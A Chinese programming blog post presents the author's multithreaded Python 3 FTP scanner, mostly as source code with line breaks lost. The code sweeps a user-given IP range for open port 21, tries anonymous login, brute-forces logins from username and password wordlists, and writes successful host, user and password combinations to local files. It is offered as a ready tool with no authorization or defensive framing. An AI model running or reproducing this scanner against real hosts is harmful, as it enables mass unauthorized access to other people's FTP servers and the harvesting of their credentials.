本文主要是介绍自己实现的一个python版本的多线程 ftp扫描器,python版本3.0以上,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
扫描器 Github地址
主要代码如下:
#!/usr/bin/env python$
# coding=utf-8
'''
python版本必须满足3.0以上'''import socket,ftplib,sys,os
from concurrent.futures import ThreadPoolExecutor #python 3.0以上可以使用的线程池def ip2num(ip):#ip to numip = [int(x) for x in ip.split('.')]return ip[0] << 24 | ip[1] << 16 | ip[2] << 8 | ip[3]def num2ip(num):#num to ipreturn '%s.%s.%s.%s' % ((num & 0xff000000) >> 24,(num & 0x00ff0000) >> 16,(num & 0x0000ff00) >> 8,num & 0x000000ff)def ip_range(start, end):return [num2ip(num) for num in range(ip2num(start), ip2num(end) + 1) if num & 0xff]def login(ip,user,passwd):try:ftp = ftplib.FTP(ip)ftp.login(user,passwd)except ftplib.all_errors:passelse:print("Login success!--------------> {}".format(ip))with open(os.path.abspath('.')+'/ftpaccount.txt','a+') as f:f.write(ip+'#'+user+'#'+passwd+'\n')ftp.quit()def loginanonymously(ip):try:ftp = ftplib.FTP(ip)ftp.login()except ftplib.all_errors:print("Login as Anonymously False! {}".format(ip))try:with ThreadPoolExecutor(3) as Executor:with open(sys.argv[1],'r') as userfile:with open(sys.argv[2],'r') as passwdfile:for user in userfile:user = user.strip('\n')for passwd in passwdfile:passwd = passwd.strip('\n')try:Executor.submit(login,ip,user,passwd)except Exception as e:print(e)passexcept ftplib.all_errors:passelse:print("Login success!---------------> {}".format(ip))with open(os.path.abspath('.')+'/ftpanonymously.txt','a+') as f:f.write(ip+'\n')ftp.quit()def conn(ip):try:serv = socket.socket(socket.AF_INET,socket.SOCK_STREAM)check = serv.connect_ex((ip,21))if check == 0:loginanonymously(ip)with open(os.path.abspath('.')+'/open21.txt','a+') as f:f.write(ip+'\r\n')else:print("[+]{} No Found FTP Port".format(ip))serv.close()except Exception as e:print(e)passdef scanner(iplist,ThreadNum):#调用函数socket.setdefaulttimeout(2.5)#可以根据你的需求更改socket 失效时间with ThreadPoolExecutor(ThreadNum) as Executor: #加入线程池中for ip in iplist:try:Executor.submit(conn,ip)except Exception as e:print(e)passif __name__ == '__main__':if len(sys.argv) < 3:print("[+]Please Using :")print("[+]scanner.py user.txt passwd.txt")sys.exit(0)print("[+]---------Welcome to FTP scanner v1.0---------")print("[+]----------------By ytala---------------------")print("[+]---http://blog.csdn.net/syh_486_007----------")start_ip = input("[+]Start IPaddr: ")end_ip = input("[+]End ipaddr: ")ThreadNum = input("Thread Number: ")iplist = ip_range(start_ip,end_ip)scanner(iplist,int(ThreadNum))
这篇关于自己实现的一个python版本的多线程 ftp扫描器,python版本3.0以上的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!